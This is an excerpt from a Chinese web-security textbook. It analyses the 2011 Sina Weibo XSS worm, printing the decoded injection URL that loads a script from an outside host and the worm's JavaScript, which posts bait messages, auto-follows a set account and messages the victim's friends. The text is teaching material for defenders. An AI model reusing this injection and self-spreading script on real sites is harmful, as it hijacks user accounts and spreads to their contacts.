- Web應用安全威脅與防治
- 王文君 李建蒙編著
- 574字
- 2018-12-26 19:42:29
故事二:微博上的蠕蟲
我們知道2011年6月份,新浪微博出現了一次比較大的XSS攻擊事件。大量用戶自動發送諸如:“郭美美事件的一些未注意到的細節”、“建黨大業中穿幫的地方”、“讓女人心動的100句詩歌”、“這是傳說中的神仙眷侶啊”等微博和私信,并自動關注一位名為hellosamy的用戶。微博用戶中招后會自動向自己的粉絲發送含毒私信和微博,有人點擊后會再次中毒,形成惡性循環。
如果我們仔細看一下,會發現原始的微博鏈接如下圖所示。
如果我們對URL進行解碼,就會發現這個鏈接其實就是:
http://weibo.com/pub/star/g/xyyyd"><script src=//www.2kt.cn/images/t.js></script>?type=update
而問題的奧妙就在于那個位于www.2kt.cn主機上的腳本t.js,它的主要代碼如下:
function publish(){ ? url='http://weibo.com/mblog/publish.php?rnd=' + new Date().getTime(); data='content=' + random_msg() + '&pic=&styleid=2&retcode='; post(url,data,true); } function follow(){ ? url='http://weibo.com/attention/aj_addfollow.php?refer_sort= profile&atnId=profile&rnd=' + new Date().getTime();
data='uid=' + 2201270010 + '&fromuid=' + $CONFIG.$uid + ? '&refer_sort=profile&atnId=profile'; post(url,data,true); } function message(){ ? url='http://weibo.com/' + $CONFIG.$uid + '/follow'; ids=getappkey(url); ? id=ids.split('||'); for(i=0;i<id.length - 1 &i<5;i++){ msgurl='http://weibo.com/message/addmsg.php?rnd=' + new Date(). getTime(); msg=random_msg(); msg=encodeURIComponent(msg); user=encodeURIComponent(encodeURIComponent(id[i])); data='content=' + msg + '&name=' + user + '&retcode='; post(msgurl,data,false); } } function main(){ ? try{ publish(); } catch(e){} try{ follow(); } catch(e){} try{ message(); } catch(e){} }
? 的作用是調用Ajax發送隨機消息,當然了,這里預先定義了一些吸引人眼球的消息。
? 的作用是follow一個特定的用戶hellosamy,它的ID是?中聲明的2201270010。
? 的作用是向受害者的好友發私信。
? 的作用就是得到受害者的好友列表,它的基本思想是發送一個GET請求,然后分析返回的文本,按照一定的正則表達式來獲得好友列表。
? 是主函數,就是說t.js一旦被加載,則依次觸發發信息,加hellosamy為好友,并且向受害者的好友發送私信。
這個故事告訴我們——XSS問題雖然不大,但是,其影響卻可以很大!所以,安全無小事!